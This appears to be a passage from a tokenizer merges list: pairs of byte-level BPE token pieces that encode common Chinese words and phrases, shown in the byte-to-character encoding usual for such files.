æĸ¼ +è·³ è·ĥ +åĢºæĿĥ 人 +çŃī 诸å¤ļ +æĶ¾ åĩº +åħ³éĶ® æĹ¶åĪ» +æĦŁæŁĵ èĢħ +é£ŀè¡Į åijĺ +èĥĨ åĽº +èĥĨåĽº éĨĩ +æĬ± æŃī +åij¨ äºĮ +æĸ° æĹ¶æľŁ +åĨ·éĵ¾ çµģ +è¿Ļç§į æĸ¹å¼ı +该 æĿij +åĽŀ é¦Ī +åŁºçĿ£ æķĻ +人 åıĤ +æŀ¯ çĩ¥ +æī¹åıij å¸Ĥåľº +åħħåĪĨ èĤ¯å®ļ +å¸Ĥ æĶ¿åįı +äºĭ æ¥Ń +龸 çİĭ +çĥŃ æIJľ +åįģä¹Ŀ 大 +ä¼´ æľī +ç¾İåĽ½ æĢ»ç»Ł +åŁİå¸Ĥ 管çIJĨ +ä¸ĭ 令 +èĥ¸ åı£ +åıª çŁ¥éģĵ +åij¨ ä¸ī +ç͍ æĪ¶ +éŃ ¯ +å¿ĥ è¡Ģ +带头 人 +åĮ» åĬ¡ +åĮ»åĬ¡ 人åijĺ +æİ§åζ åύ +ä½ľåĵģ åĨħ容 +æĪĺ åıĭ +åİĨ å¹´ +ä¸į åħĭ +ä¸įåħĭ ä¸įåıĬ +æĹ¥ æŃ£å¼ı +è±IJ å¯Į +ç¨İ è´¹ +æĹ¶ æķĪ +å±ķ ä½į +è¡¡ éĺ³ +æĪ¿ 貸 +çĪĨ 款 +ä¹IJ æĦı +çĶ· 主 +å¯ ¬ +æľĥ èѰ +ä¹ĭ å¤ľ +åIJĮ 樣 +ä¸įè¦ģ 太 +ä¼Ĭ æĸ¯ +ä¼Ĭæĸ¯ åħ° +åŁºæľ¬ åİŁåĪĻ +åİ» æİī +ä½İ ä¿Ŀ +个 交æĺĵ +个交æĺĵ æĹ¥ +èģĬ èģĬ +åĽĽ ä½į +åħļç»Ħ æĪIJåijĺ +主è¦ģ ä»İäºĭ +å½± éŁ³ +åĨĴ åĩº +åij¼åIJ¸ éģĵ +è¾¾ å°Ķ +æľ¨ åľ°æĿ¿ +诡 å¼Ĥ +çģ¯ åħ· +çģ« çĥ§ +è§£ èĦ± +æĦĪ åıij +æ¹ĸ å·ŀ +é£İ ä¿Ĺ +æĸ° å½¢åĬ¿ +æĸ°å½¢åĬ¿ ä¸ĭ +è² Ŀ +èĦ ĵ +åĬ¨åĬĽ çĶµæ±ł +é£ŀ èι +飧 æĢ§ +åĪ© çī© +åĪ©çī© æµ¦ +ä¸į 认è¯Ĩ +ç¼ĸ ç»ĩ +ä½ľ åĿĬ +èģĮä¸ļ æĬĢèĥ½ +çľĭ è¦ĭ +åĽ´ æ£ĭ +æĺı è¿· +å½Ĵ å±ŀäºİ +æĤ¬ å´ĸ +éĨ« çĻĤ +å®ĭ 代 +åºĦ æĿij +èĹ ķ +çĮĽ çĦ¶ +çĩĥæĸĻ çĶµæ±ł +å®ŀä½ĵ åºĹ +ä¸įè¶³ 以 +æĥħ ç· +æĥħç· Ĵ +å»Ĭ åĿĬ +ç͵ åı° +åºĶ åĬĽ +ä¸Ńå°ı åѦçĶŁ +èĥ¡ åIJĮ +éī´ åĪ« +åĨħ ç½® +ä¹± 象 +æ¬Ĭ çĽĬ +å¼ĢæĶ¾ å¼ı +åįļ æĸĩ +讲 课 +çŃī åİŁåĽł +ç©· 人 +交 æĽ¿ +æĬ¤ çħ§ +åıijå±ķ æľºéģĩ +客 åķĨ +åıį ä¹ĭ +ç±³ é¥Ń +å¹¶ åıij +å¹¶åıij çĹĩ +æ±ī åŃIJ +æŀľ åĽŃ +对æĪij æĿ¥è¯´ +åģı åIJij +æī¹ 示 +读 åIJİ +读åIJİ æĦŁ +æĺİ æĻº +åĽ´ çĿĢ +åıį 转 +æĿ¨ å¹Ĥ +ä¸ĵ åįĸ +ä¸ĵåįĸ åºĹ +åıĹ éĻIJ +åºŁ è¯Ŀ +æŀģ å°ij +åįĪ åIJİ +è¿Ľ ä¿® +åīĬ åĩı +æľ¬ç§ij çĶŁ +ä¼ĺ éĢī +åħī çħ§ +åıĻ äºĭ +åıĸ æļĸ +åĮĹ è·¯ +æ¦ ķ +èİĨ çͰ +楼 å±Ĥ +天 èĬ± +天èĬ± æĿ¿ +çĤ ľ +å·²ç»ı æľīäºĨ +è¶ ¾ +çͳ åįļ +ç͵ éĺ» +åĬŁ è¯¾ +æŃ¥ æŃ¥ +éĤ£ä¹Ī 容æĺĵ +æŃ¤ æĸĩ +ä½ ° +计 è¾ĥ +çīĩ éĿ¢ +ç͵影 éĻ¢ +ä¸į åħ¬å¹³ +ä¸ī æľŁ +æĹħ游 èµĦæºIJ +å¤ļç§į å½¢å¼ı +è£Ĥ ç¼Ŀ +åIJİ æİĴ +硬 度 +åĽŀ æļĸ +éģĵ æķĻ +è´« è¡Ģ +æ¸ħ é¦Ļ +伤 çĹħ +æĦı 義 +çļĦ ç¼ĺ +çļĦç¼ĺ æķħ +åºĦ 严 +åıªæĺ¯ 为äºĨ +æīĵ æĬĺ +以 ä¾Ĩ +滿 è¶³ +çİĽ 丽 +風 éļª +æĸĩ ç§ij +éħįå¤ĩ äºĨ +è¿Ľ é£Ł +æ¶ ¡ +è·¯ ç¨ĭ +åı« 声 +ä¸Ńå¿ĥ åŁİåĮº +æľīæīĢ ä¸įåIJĮ +å¼µ è²¼ +é¢Ħ æĬ¥ +æľīå¤ļ ä¹Ī +è¿Ľè¡Į åħ¨éĿ¢ +æĽ¾ ç¶ĵ +ä¸ī 代 +å®ı 大 +æ¸ħ æī« +éĢī åĩº +åĵª ä¸Ģ个 +主 義 +ä¾Ŀ æĵļ +çļ® éĿ© +èµ¶ æĿ¥ +çŃĽ æŁ¥ +æ¨ Ł +ä¿Ŀ èįIJ +åIJĥ æĥĬ +æľĭåıĭ们 对 +ä»ĸ æĺ¯ä¸Ģ个 +åºŁ æ°Ķ +æ» ħ +è´¢ ç¨İ +æĿij æĿijæ°ij +èµĦ产 è´ŁåĢº +å®ī å¨ľ +缮åīį åĽ½åĨħ +æĦŁè§ī èĩªå·± +çµIJ åIJĪ +éͦ æłĩ +éͦæłĩ èµĽ +æĽ´ æ·± +åŁº æķ° +éħ¿ éħĴ +çī¹èī² äº§ä¸ļ +åİĭ å®ŀ +ä¾Ŀæ³ķ 追究 +æ·¡ å®ļ +ç®Ģ缴 å°±æĺ¯ +å£ĵ åĬĽ +æ°ij å¿ĥ +ä¸į åIJĪéĢĤ +çͱæŃ¤ åı¯è§ģ +èµŀ èªī +æ¾ ¤ +åĩłå¹´ åīį +åIJī ä»ĸ +çł´ æįŁ +轻轻 åľ° +å²Ľ 屿 +æĦı å¢ĥ +ä»Ģä¹Ī åı« +åģĩ è£ħ +éĢģ è´§ +å¹ķ å¢Ļ +妥 åįı +åĽ½ æĹĹ +äºĨ å¾Īä¹ħ +åĪĨ辨 çİĩ +ç´ Ķ +éĺ³ åĮº +åĩŃ çĿĢ +åģľè½¦ ä½į +京 éĥ½ +éĶ £ +æĵ ¾ +è¿Ľ éŨ +åĪĺ æµ· +åĽĽ 级 +女 è¶³ +è¡ĮæĶ¿ 审æī¹ +éģ¥ æİ§ +ä¸į éĮ¯ +å¾Ĺ å¾Ī好 +为 缮çļĦ +ä»į æľª +ç²¾ è£ħ +éĢį éģ¥ +å°½ 头 +çºł ç¼ł +éłĺ å°İ +æĭħ è´Ł +æĪĸèĢħ åħ¶ä»ĸ +åıªä¸įè¿ĩ æĺ¯ +åı® åĺ± +åģĩ åĨĴ +æļĸ æ°Ķ +çĽIJ åŁİ +被 è§Ĩ为 +诺 è´Ŀå°Ķ +ç»ĻäºĨ æĪij +è¿ij åįĥ +éĩį åĽŀ +éĨĴ äºĨ +ç͵ è§£ +忽çķ¥ äºĨ +èĥĮ éĥ¨ +æĸĩæĺİ åŁİå¸Ĥ +æº ħ +è² ĵ +æĬµ æĮ¡ +åĸľæ¬¢ åIJĥ +éĿĻéĿĻ åľ° +å¾Ī æ·± +åŁºç¡Ģ çŁ¥è¯Ĩ +è¿ĩ éĶĻ +çIJĨ ç§ij +交æµģ åIJĪä½ľ +èĪ Ķ +調 æŁ¥ +æħĪ æĤ² +éĴ ° +èĩ´ ç͵ +å®£ä¼ł æ´»åĬ¨ +åıĺ éĩı +çļĦ人 æĿ¥è¯´ +æĹ¶ éļĶ +ä¸į管 ä½ł +缸 è¿ij +è´µ éĩijå±ŀ +ä¹Łä¸į åı¯èĥ½ +ç²ī æľ« +åįĹ çĵľ +çϽ 马 +åħī æºIJ +éĩij å¥ĸ +çĭ¬ è§Ĵ +çĭ¬è§Ĵ åħ½ +妨 ç¢į +ç»Ļ åĬĽ +ä½Ĩ ä»į +å¼łå®¶ åı£ +èIJ¬ åħĥ +渲 æŁĵ +éķ¿å¤§ äºĨ +è®°èĢħ äºĨè§£ +æĢĢ çĿĢ +è¦ģ åѦä¼ļ +游æĪı 代 +游æĪı代 ç»ĥ +äºĮ çϾ +æĦıè¯Ĩ å½¢æĢģ +çİ º +计åĪĴ çĶŁèĤ² +æī¾ åĩĨ +åħ° èĬ± +è¿Ļ座 åŁİå¸Ĥ +污 æ³¥ +å®ĺæĸ¹ 微信 +å½Ĵ å±ŀ +æ°§ æ°Ķ +éģİç¨ĭ ä¸Ń +åį°è±¡ æ·±åĪ» +稳 妥 +çµIJ æĿŁ +åŃķ æľŁ +çī¹ æĿĥ +åĿļ åĽº +顺 åĬ¿ +æŀľ èͬ +éĨ« 師 +åİ ® +ä¹Łæĺ¯ å¦ĤæŃ¤ +é¦Ĵ 头 +缸 åĬ© +å¹² 线 +ä¸Ģ æľ¬ä¹¦ +ç» ¥ +æĮ¯ å¥ĭ +èĤ¾ èĦı +åĭķ çī© +é£ŀ è·ĥ +èıľ åĵģ +å¤ļ ä½Ļ +å¤ļä½Ļ çļĦ +éĢĿ ä¸ĸ +æģĭ 人 +å¼Ģåıij åĪ©ç͍ +顺 丰 +éĩİ å¿ĥ +æł¡ å¤ĸ +æģIJ é¾Ļ +éĿ¢ åħ· +éķ¿ è¾Ī +éļı å¤Ħ +éļıå¤Ħ åı¯è§ģ +ç´§ 缺 +éĩį ä¸Ń +éĩįä¸Ń ä¹ĭ +éĩįä¸Ńä¹ĭ éĩį +奥 æĸ¯ +奥æĸ¯ åį¡ +ä¸Ģ个 å¤ļ +ä¸Ģ个å¤ļ æľĪ +ä¸įåı¯ 缺å°ij +æĸ° æł¼å±Ģ +æıIJ æĮ¯ +è¡Į è´¿ +æ¼Ĥ æµģ +èģĬ åŁİ +åħ´ 建 +è´¨ æ£Ģ +ç§ģæľį 游æĪı +æĽ´ éĩįè¦ģ +è´ ® +çħ ľ +转åıĺ 为 +è¿Ļ 两年 +ä¿Ŀ é²ľ +æī§ æķĻ +çĥ ¨ +å¼Ģåıij 建设 +è¿IJèIJ¥ 管çIJĨ +误 å·® +京 åī§ +å¸IJ åı· +å·¥ä½ľ ä½ľé£İ +ä¸ĸ ä¿Ĺ +çϽ 宫 +天 åĽ½ +å¤©åĽ½ ç»§ç»Ń +å·´ æĸ¯ +èIJ¥ åĪ© +åĵģ æł¼ +æĿijæ°ij 们 +æĪ¿ 车 +çŃī çĹĩçĬ¶ +å¦Ĥ å®ŀ +å® ¸ +å±Ĥ 级 +éĶĻ è¿ĩäºĨ +ç»ĵ å®ŀ +ç¬ij èĦ¸ +羣å®ŀ æĢ§ +éĥ½å¸Ĥ æĬ¥ +é¥Ń èıľ +åºĶ 注æĦı +æĬ½ çĥŁ +伪 éĢł +åīį ä¸Ģ天 +éŃĶ é¾Ļ +éŃĶé¾Ļ 令çīĮ +约 è°Ī +绣çѹ æİ¨è¿Ľ +让 ç͍æĪ· +åħ¨éĿ¢ èIJ½å®ŀ +å¼Ħ å¾Ĺ +è°Ī æģĭçα +鸣 æĪIJéķ¿ +鸣æĪIJéķ¿ è®° +æ´ĭ æ´ĭ +çĸı æķ£ +éĿ¢ç§¯ 约 +æµĵ 缩 +æĸ¯ é¡¿ +çĶŁæĢģ åľĪ +æī§ 导 +ç§» éĢģ +齿 è½® +æł¹æľ¬ å°±ä¸į +缩 åĩı +èµ° ä¸ĭåİ» +çĿ« æ¯Ľ +ä¹Łä¸į éĶĻ +åıįæĺł åĩº +èĭ¦ æģ¼ +缸åħ³ æĶ¿çŃĸ +é«ĺ 楼 +ç²ī èī² +æĬķèµĦ é¢Ŀ +ä¸į ç»ı +ä¸įç»ı æĦı +å®ģ æĦ¿ +èĪĮ 头 +æ»ĭ çĶŁ +å®ģ åİ¿ +åīįåĪĹ èħº +åĩ ³ +é£Ł 欲 +åıĸ èĥľ +éĻ¢ åŃIJ +ç´łè´¨ æķĻèĤ² +滨 å·ŀ +æĬ¢ æĬĵ +å¼Ĥ åij³ +åĴ ļ +åĬ į +宽 éĺĶ +æļ´ 涨 +æĥł åıĬ +è§Ħ ç¨ĭ +ä¾Ľ åħ» +éĢģ å¾Ģ +å±± åºĦ +举 äºļ +å±ķ é¦Ĩ +è§£ éĶģ +æĹł è§Ĩ +éĻį èIJ½ +è¿ŀ äºij +è¿ŀäºij 港 +åıĤ è°ĭ +çİ ĸ +ç¬ ĥ +èĢĹ è´¹ +æī¿ å¾· +社ä¼ļ æķĪçĽĬ +åįĹæµ· ç½ij +åĪĽ 伤 +èIJ ± +åħħ æ²Ľ +ç½ijç«Ļ 建设 +大 åºĨ +åĨį éĢł +åŃĹ æł· +åħ¨æ°ij åģ¥èº« +èĮ« èĮ« +æµ® åĬ¨ +åīį åı° +å¢ŀ 设 +éĢĽ è¡Ĺ +åĢĴ éĹŃ +æ³ķå¾ĭ 顾éĹ® +çĸ ® +çĹħ çĹĩ +空 åīį +请 æķĻ +èĥľ ä»» +æĿĢ èıĮ +æĪĺæĸĹ æľº +ç»ĺ åζ +å¤Ħ æĸ¹ +çªģ åĽ´ +çĮ« åĴª +æĬ¥åijĬ æĺ¾ç¤º +ç¿ Ł +çķ¶ åľ° +æľĢ éļ¾ +纪 å§Ķ书记 +ä½İ åİĭ +èĻļ 空 +è¿Ļéĥ¨ ç͵影 +产ä¸ļ åįĩ级 +è°· çα +è°·çα åĩĮ +æĬ¼ éĩij +女 æĸ¹ +éĴ» çłĶ +æļĹ æļĹ +è¿· ä½ł +æīĢ è¬Ĥ +å¨ģ å»ī +å¼Ģ æľĹ +å² Ķ +çģ« çĤ¬ +åIJĪçIJĨ æĢ§ +åħ¬ åĬŀ +ä¼ļ ä¼ļéķ¿ +éĺ´ è°ĭ +å¼Ģ å±Ģ +æĻ®éĢļ è¯Ŀ +åį¡ æĭī +å°ij åIJĥ +éĹª èĢĢ +æŀľ æ±ģ +æī§è¡Į åĬĽ +è° Ľ +æĬ¢ åĬ« +é«ĺéĢŁ åıijå±ķ +éŁ ¬ +åįĹ æ²Ļ +é«ĺçŃī åŃ¦æł¡ +æį¢ 个 +åı¯èĥ½ åŃĺåľ¨ +æĬ Ĵ +è°± åĨĻ +被 æĬĵ +æĿ¯ åŃIJ +èĬĤèĥ½ åĩıæİĴ +æ°ĶåĢĻ åıĺåĮĸ +åĪĨ åĪ¥ +ä¸Ń æŀ¢ +欢 åij¼ +åħī 纤 +è¿Ļ 群 +çľ¼ çķĮ +åħ±åIJĮ åıijå±ķ +çݰ ä»Ĭ +éĹ» è¨Ģ +çī¹èī² å°ıéķĩ +æķij 人 +éĻį æ°´ +ä¸ĸçķĮ ä¸Ģæµģ +å°± é¤IJ +çŀ ¥ +å¤į ä»ĩ +ç¾½ æ¯Ľ +ç¾½æ¯Ľ çIJĥ +è´© åįĸ +æºIJ æ³ī +æĢ»ä½ĵ è§ĦåĪĴ +åĬ¨ æĦŁ +ä¸Ģ 审 +åĢŁ éĴ± +è§ģ æķĪ +èĬ± èįī +åIJĮ ä¸ļ +æŁ¥ è©¢ +åĽ½éĻħ åIJĪä½ľ +ä¾Ľ åĽ¾ +åģ ´ +æł ĵ +缸 éĢļ +è°Ī åıĬ +è¿ĩç¨ĭ å½ĵä¸Ń +é¦Ļ èıĩ +åįģåĽĽ æĿ¡ +ä¸Ģå¼Ģå§ĭ å°± +ä¸ĵ åijĺ +æĺİ é¡¯ +æīĵéĢł åĩº +ä¸ĭéĿ¢ æĪij们 +æľº æ²¹ +åı° è¯į +åŃIJ å¼Ł +æľĢ 常è§ģçļĦ +æĪij è®°å¾Ĺ +ç» ° +æĤ¬ æµ® +è¿ĺ 羣æĺ¯ +æĮĤ åı· +åıĭ åĸĦ +éĩį 伤 +çħ§ 亮 +æŃ¦ èѦ +åĩºçݰ éĹ®é¢ĺ +è¸Ĭ è·ĥ +åľ°çIJĥ ä¸Ĭ +å¸Ĥ 人大 +åıĹ害 人 +å² IJ +åIJĮ åѸ +éĩijèŀį å¸Ĥåľº +æľīçļĦ çݩ家 +å¸Ĥ æķĻèĤ² +å¸ĤæķĻèĤ² å±Ģ +åIJĦ å¼Ĥ +ç·ļ ä¸Ĭ +æģ º +æľī 大éĩıçļĦ +åķĨ æĬ¥ +åįķ åįķ +åħ¨ é¢Ŀ +ä¾ĿæĹ§ æĺ¯ +好 åĩłä¸ª +åĸ µ +éĩį æķ´ +çĶŁæ´» è´¨éĩı +æİ¢ 访 +åį° èĬ± +缼 è¡Į +å¾® è§Ĥ +èĪį å¾Ĺ +åºŁå¼ĥ çī© +积 èĵĦ +å®ļ å±ħ +æĤ ¼ +èĮ ¸ +çļĦ 帮åĬ© +çļĦ帮åĬ© ä¸ĭ +亿 åIJ¨ +åŃĶ éĽĢ +è¿ĻæĿ¡ è·¯ +é¥ µ +æĦĪ åĬł +éķ į +ä½ľ æ¡Ī +èįĶ æŀĿ +太 å°ij +è·» 身 +åħ¬çĽĬ æ´»åĬ¨ +çϽ æĸij +æĬĢæľ¯ æ°´å¹³ +å¸ § +æĹł çŁ¥ +åºĶ该 æĢİä¹Ī +éĢĢ å¸Ĥ +æ¸ Ń +åħ» çĮª +é© ¼ +群 å²Ľ +大 åį« +ä¹ĺ çĶ¨è½¦ +èı² å°Ķ +è´´ åIJ§ +åģľ ä¸ĭæĿ¥ +æľīæľº ç»ĵåIJĪ +åĪ» èĭ¦ +çļĦ åľ° +çļĦåľ° æŃ¥ +è¯Ĭ æīĢ +å¼Ģ æĪĺ +èĢģ çīĮ +çѹ çłģ +åħ«å¤§ 以æĿ¥ +楼 æĪ¿ +åŃĻ æĤŁ +åŃĻæĤŁ ç©º +åħĴ åŃIJ +第ä¸Ģ æĿ¡ +社交 åªĴä½ĵ +æĥ³ èµ·æĿ¥ +大 æ´ĭ +æĭ¼ éŁ³ +è¿Ľ åįļä¼ļ +è¿ĩ åħ³ +æ² ¼ +ç©¿ æIJŃ +éĤ£ ä¸Ģ天 +çł´ éŨ +æĬķæłĩ 人 +èµ¢ å®¶ +èĻļ å¼± +æ¿ ĥ +å®ī æ£Ģ +客 å®¶ +çĭ¬ç«ĭ èij£äºĭ +æīĭ åĬ¿ +åīµ éĢł +åľĨ满 å®ĮæĪIJ +为主 线 +好å¥ĩ å¿ĥ +é¢Ĩ åľŁ +çª ĸ +åħ¸åŀĭ æ¡Īä¾ĭ +çªģåıij äºĭä»¶ +åºķ æ°Ķ +头 æĻķ +å®Ľ å¦Ĥ +è§ ¸ +æ¸ħ æ·¡ +åļ ¼ +åģľ ç͵ +ç²ī å°ĺ +éĻįä½İ æĪIJæľ¬ +æĶ¾ æīĭ +è®°èĢħ 表示 +æĭĸ å»¶ +éª ĩ +æ®ĭ å¿į +çľģ æķĻèĤ² +çľģæķĻèĤ² åİħ +é«ĺ é¢Ŀ +éĦ Ļ +æ¥ ŀ +åĨħ ç§ij +èIJ¥ä¸ļ é¢Ŀ +åŁº çŁ³ +æµģ æ·Į +主 æĹ¨ +éĺIJ éĩĬ +建 åįİ +æĥĬ åı¹ +çī¢åĽº æłijç«ĭ +æĺ¯åIJ¦ åŃĺåľ¨ +建 åĨĽ +éĽ¾ éľ¾ +åħ¬ 认 +åħ¬è®¤ çļĦ +æ°¨ åŁº +æ°¨åŁº éħ¸ +åīį åĩłå¹´ +åι éĤ£ +æ±Ł 举 +å·¥ æ¥Ń +ä¸ĢçĤ¹ ä¹Łä¸į +ä¿® 士 +äºĨä¸Ģ éģį +åĪ ģ +æ»ļ æ»ļ +åĪĨ æł¡ +羣 çα +è¡Ģ èĦī +æĢ¥ åī§ +ä¸Ģ群 人 +ç¾ ¯ +æĪIJ é¾Ļ +ç²¾ç¥ŀ çĹħ +缸åħ³ 人åijĺ +éĿĵ 丽 +ä¸ī åŃ£åº¦ +åĪĴ å®ļ +ä¸ĸçķĮ 第ä¸Ģ +éĢļ ä¿Ĺ +åķĨä¸ļ åľ°äº§ +åĬŁèĥ½ æĢ§ +èµĦæľ¬ 主ä¹ī +详 è§ģ +æĬĵ æįķ +æĸĩ æĺĮ +å®Ŀ å®ī +è£ħéħį å¼ı +æºIJ æºIJ +æºIJæºIJ ä¸įæĸŃ +çĶŁ æĢķ +纵 åIJij +å£ ½ +çľ¼ è¢ĭ +èĤī ä½ĵ +åı¤ ä»Ĭ +èŀį åªĴä½ĵ +åģ ī +æł¼ æľĥåĵ¡ +çĥ · +åĬŁ ç͍ +æīŃ çŁ© +绿èī² éĢļéģĵ +åī§ ç»Ħ +å¼± åĬ¿ +è´¨éĩı éĹ®é¢ĺ +éĻIJ é¢Ŀ +éª Ĩ +éģµ ä¹ī +å¯Ŀ 室 +æĥ³ 念 +åł± åijĬ +ä»ħ 次 +ä»ħ次 äºİ +èŀį åĪĽ +æĭĽèģĺ ä¼ļ +åºĬ åŀ« +转åŀĭ åıijå±ķ +ä¸ŃåĽ½ çĶµä¿¡ +åIJ¬ è¯Ŀ +è«ĭ æ±Ĥ +大éĥ¨åĪĨ 人 +æ´» å¾Ĺ +åĵŃ æ³£ +è¶ Ļ +åıijçĹħ çİĩ +ä¸į 符 +åĨĽ å®ĺ +é¢Ī æ¤İ +æĸ°åĨł çĸ«æĥħ +æŁ¬ åŁĶ +æŁ¬åŁĶ 寨 +ä»»ä½ķ å½¢å¼ı +人 éĻħ +人éĻħ åħ³ç³» +æĢ» æī¿åĮħ +å¹³åĿĩ æ¯ı +æģŃ åĸľ +åĦ ĺ +åħµ 马 +è¿Ł åΰ +å·¥ 伤 +çīĪæĿĥ å½Ĵ +çīĪæĿĥå½Ĵ åİŁ +æĭ¥ æĬ¤ +ç³Ĭ æ¶Ĥ +å¹² æ¶ī +å°ij ä¸įäºĨ +æĥ³ æī¾ +è´¹ çİĩ +该 éĻ¢ +èŀį åĮĸ +è¿İ åIJĪ +è§ĨåIJ¬ èĬĤ缮 +æł¼ ç¶²ç«Ļ +çľī æ¯Ľ +欢è¿İ 大家 +å®¶åºŃ æķĻèĤ² +ä¾µ èļĢ +ç»Ļ ä½łä»¬ +è¡Ģæ¶² 循çݯ +å¯Ħ æīĺ +å°ĸ åı« +以ä¸ĭ åĩłä¸ª +è¿ĺ 以为 +åħ¶ä»ĸ çݩ家 +ç¬ij ç¬ij +æīĵ åIJ¬ +èĩªçĦ¶ ç§ijåѦ +åŁº ç«Ļ +ä¹Ŀ å·ŀ +ä¿Ŀ 驾 +ä¿Ŀ驾 æĬ¤ +ä¿Ŀ驾æĬ¤ èĪª +æĶ¾ çľ¼ +çŁ¥åIJį ä¼ģä¸ļ +ç¸ ® +ç¨ ½ +æļ ĩ +使ç͍ 網路 +é¢Ħ çķĻ +大 象 +åıijæĺİ ä¸ĵåĪ© +æĸĩ 娱 +éĢł ç¦ı +湿 润 +éĿ¢ æĿ¡ +æ¶Īè´¹ åįĩ级 +è®Ĭ å¾Ĺ +åĩł åIJį +ä» Ħ +认 æ¸ħ +è¿ľ æĻ¯ +æıĴ 座 +诸 侯 +åıĺ æĢģ +ç¦ı 彩 +è´§ æŀ¶ +失 æİ§ +ç§»åĬ¨ 端 +ä¸Ĭ åı¸ +éĢł 纸 +å¸ĥ æľĹ +çĴ ĩ +åı° åįĹ +åĮĹ京 åĨ¬å¥¥ +èĵĿ çīĻ +éķ¿ çŁŃ +æĬĺ å°Ħ +ç»ij æŀ¶ +å¯Ĵ åģĩ +转 åŁºåĽł +æĢ¥ äºİ +æŃ£ åĵģ +åħħ 滿 +大 纲 +æĬĹ ä½ĵ +è¨ĵ ç·´ +æĶ¶ ç´§ +æ¯Ķ è³½ +åħµ åĬĽ +æľ¬ æĽ¸ +äºĮ 代 +æĢ¥ è¯Ĭ +æĸĩ æ¡Ī +ç»ı åķĨ +æĻ¨ æĬ¥ +æ£ ĺ +æĢ»ä¹¦è®° åľ¨ +åıĹ éĤĢ +äºĶ åĽĽ +å²Ń åįĹ +çα åIJĥ +åŁĥ å°Ķ +å¿ĥ å¢ĥ +è¦ĨçĽĸ éĿ¢ +å®ŀåľ¨æĺ¯ 太 +æł¹ åºķ +纷纷 表示 +åĹ ħ +éļıçĿĢ æĹ¶éĹ´ +åİĨåı² æĤłä¹ħ +éħ ī +æĢ» éĺŁ +主é¢ĺ æ´»åĬ¨ +éĹ® åį· +é©¿ ç«Ļ +æı¡ ä½ı +åı¯èĥ½ 导èĩ´ +æ°ij éĸĵ +éĸĭ åķŁ +ä½Ĩ ä¸įéĻIJ +ä½Ĩä¸įéĻIJ äºİ +åįģ éĩĮ +å¨ ¥ +æįŁ èĢĹ +çĸı 导 +çݯ æ°§ +ç¥ŀ éĢļ +çα å°Ķ +çαå°Ķ åħ° +æľ´ å®ŀ +å¿« æĬ¥ +æĶ¶ åıĹ +æĪĸ 許 +èĥĮ éĿ¢ +æĸĩåĮĸ ä¼łåªĴ +ä¸ī åĢĭ +æĶ» åĬ¿ +å®ī 举 +å®ī举 å°¼ +åĿĩ å·² +顾 èĻij +éĦ Ń +è¿Ļå®¶ åħ¬åı¸ +åħ¬åijĬ ç§° +æıIJä¾Ľ ä¼ĺè´¨ +稳æŃ¥ æİ¨è¿Ľ +å¤į è¯ķ +å°Ĩ é¢Ĩ +è°Ī èµ· +å¨ Ħ +è¿ŀ 线 +æ©Ł éĹľ +åºĶç͍ åľºæĻ¯ +çĶ» åĥı +è´¢ è¿IJ +ä¿Ŀ éļª +çĹħ çIJĨ +æ¯Ľ 主å¸Ń +ä¸Ŀ 毫ä¸į +çα å¥ĩ +çαå¥ĩ èīº +ä¸ĵå®¶ ç»Ħ +åij¼ åͤ +éĭ ¼ +çģ ¸ +é¢ĨåħĪ åľ°ä½į +æıIJ æĭĶ +龸 éģĵ +å±± åĿ¡ +èĿ İ +沸 èħ¾ +该 项 +ä»Ĭ çĶŁ +ä¸Ģç¯ĩ æĸĩ竳 +æĸ¹å¼ı è¿Ľè¡Į +é»ij 客 +æĶ¹ åĬ¨ +主 é¡Į +æķ£ å¸ĥ +ä»Ģä¹Ī åľ°æĸ¹ +åĮĸ åIJĪ +åĮĸåIJĪ çī© +éĿĻ ç͵ +æĢ» æĶ¶åħ¥ +å§Ķ ç»Ħç»ĩ +å§Ķç»Ħç»ĩ éĥ¨ +éĿĻ æĢģ +èĢģ åŃĹåı· +室 åıĭ +éĥ½ä¸į æķ¢ +æŀ¶ åŃIJ +çģµ æķı +审 è§Ĩ +æĤ£ åĦ¿ +å±± 寨 +èĸª èµĦ +é©° æı´ +éĥ¨åĪĨ åĨħ容 +好 ä¼¼ +æĪIJåijĺ åĽ½ +åľ¨æĪij çľĭæĿ¥ +åħ³æ³¨ 度 +éĻĪ æŁIJ +è¿Ļç§į äºĭæĥħ +éĢī å®ļ +ç²¾ åŃIJ +å£ģ çĶ» +æ±Ł æ·® +é«ĺ æĺĤ +æł¼ åĬĽ +è¼ © +åѦ åłĤ +æĤ¨ åIJĮæĦı +ä¸ĢåĪĩ éĥ½æĺ¯ +æ½ ¤ +éĸ ĥ +å¸ĮæľĽ èĩªå·± +ä¿ ĺ +æ±Ł åİ¿ +æ³ ¾ +ç§ij æķĻ +æīĵ è¿Ľ +ä¸į æħİ +å¯Ĵ åĨ¬ +æ¸Ķ æ°ij +鼷 æĸ¯ +主 å®° +æĹħ游 度åģĩ +ç͵åŃIJ éĤ®ä»¶ +æ±Ĥ å©ļ +éļİ æ®µ +åģ¥èº« æĪ¿ +注æĺİ åĩºå¤Ħ +äºĭæķħ åıijçĶŁ +级 以ä¸Ĭ +åŃĺ æ´» +æĸ½ èĤ¥ +èľľ èľĤ +åµ © +æĮĸæİĺ æľº +æĬĹ æĭĴ +ä¼ł 导 +æĺ¯ä»Ģä¹Ī åij¢ +ä¸Ĭå¹´ åIJĮæľŁ +建 åħļ +çĶŁ æħĭ +ä¿Ŀ ä½ı +款 车åŀĭ +人 èĦī +éļIJ èͽ +失 æķĪ +éģ¿ åŃķ +ç®Ģ 便 +谢谢 ä½ł +å®Ī ä½ı +æĶ¾ æĺł +è¨Ī çķ« +çݰ代 çµģ +é¤IJ 廳 +æķħ å±ħ +大 大å°ı +大大å°ı å°ı +çī¹åĪ« 声æĺİ +éģį åıĬ +å¿ĥçIJĨ åĴ¨è¯¢ +è³ ´ +çĮ® è¡Ģ +å·²ç»ı è¾¾åΰ +æīĵ æĭĽåij¼ +åıĮ è¾¹ +ä¸Ģæĸ¹éĿ¢ æĺ¯ +å´ĩ å°ļ +éĺ¿ å¯Į +éĺ¿å¯Į æ±Ĺ +æĮģ æľī人 +è± ģ +é£İ çŃĿ +åĬ¨ èį¡ +äºĨä¸Ģ ä¼ļ +äºĨä¸Ģä¼ļ åĦ¿ +ä¸ĩ 象 +çľĭ ç͵è§Ĩ +åįģä¸ī æĿ¡ +çĮĽ çĥĪ +è¦ģ ä¸įçĦ¶ +太æŀģ æĭ³ +å¼ķ çĪĨ +ç»ıè¿ĩ å¤ļå¹´ +游æĪı éĩĮçļĦ +é¾Ļ æ³ī +æłĩ éħį +è®ĵ ä»ĸåĢij +éĢł æŀĹ 